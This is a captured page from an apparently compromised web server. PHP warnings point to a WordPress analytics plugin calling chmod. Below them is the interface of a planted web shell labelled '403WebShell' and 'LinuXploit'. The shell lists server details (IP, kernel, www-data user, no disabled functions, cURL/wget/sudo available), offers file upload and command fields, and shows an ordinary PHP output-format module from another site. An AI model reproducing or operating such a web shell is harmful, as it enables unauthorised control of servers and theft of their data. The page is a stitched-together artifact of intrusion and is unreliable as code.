Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/output/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/output/main.php
<?php

namespace modules\output;

// Create an object that will be used to create output
// stops here for txt,csv,json formats
// continues to theme modules for html
// registerview

class main extends \moduleMain {

	use traits {
			traits::__construct as __ConstructOutput;
		}

	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructOutput();
	}
	
	public function Activate() {
		hook_add('uri', [$this, '__doctype'], 40);
		
	// install function to handle document formats
		$this->Register_FormatHandler('csv', [$this, '__export_csv'], 'simple Comma Separated Values');
		$this->Register_FormatHandler('json', [$this, '__export_json'], 'JavaScript Object Notation');
		$this->Register_FormatHandler('serial', [$this, '__export_serial'], 'Designed for use with PHP');
		$this->Register_FormatHandler('xml', [$this, '__export_xml'], 'Extensible Markup Language');
		$this->Register_FormatHandler('txt', [$this, '__export_txt'], 'Generic text format');
	}

	// set a default doc type based on extension
	//   don't set if no compatible ext found
	public function __doctype(&$uri, $input) {
		$ok = FALSE;
		$query = ($p = strpos($uri, '?')) !== FALSE ? substr($uri, $p) : '';
		if ($query != '') $uri = substr($uri, 0, $p);
		
		$elements = explode('/', $uri);
		for($i = count($elements) - 1; $i >= 0; $i--) {
			list($name, $ext) = $this->__OUTPUT->getRecognizedExtension($elements[$i]);
			if ($ext !== FALSE) {
				$elements[$i] = $name;
				$this->OutputFormat($ext);
				$ok = TRUE;
				break;
			}
		}
		$uri = implode('/', $elements);
		$uri .= $query;
		if (!$ok) $this->_checkAccept($input);		// no extension found - are we after a specific document type?
	}
	
	private function _checkAccept($input) {
		$mimetype = $input->GetPreferedDocType();
		if ($mimetype == 'application/json' ||
			$mimetype == 'text/javascript') {
				$this->OutputFormat('json');
		}
	}

	private function _lv($name, $data) {
		$view = $this->loadView(__DIR__, $name);
		return $view->render($data);
	}

	public function __export_json($data) {
		return $this->_lv('export_json', $data);
	}

	public function __export_csv($data) {
		return $this->_lv('export_csv', $data);
	}

	public function __export_txt($data) {
		return $this->_lv('export_txt', $data);
	}

	
	
	public function __export_serial($data) {
		return $this->_lv('export_serial', $data);
	}
	public function __export_xml($data) {
		return $this->_lv('export_xml', $data);
	}
	
	// convert less file to css
	final function css() {
		$param = func_get_args();
		$model = $this->LoadModel('output_model');
		echo $model->ConvertLESStoCSS($param);
		exit;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit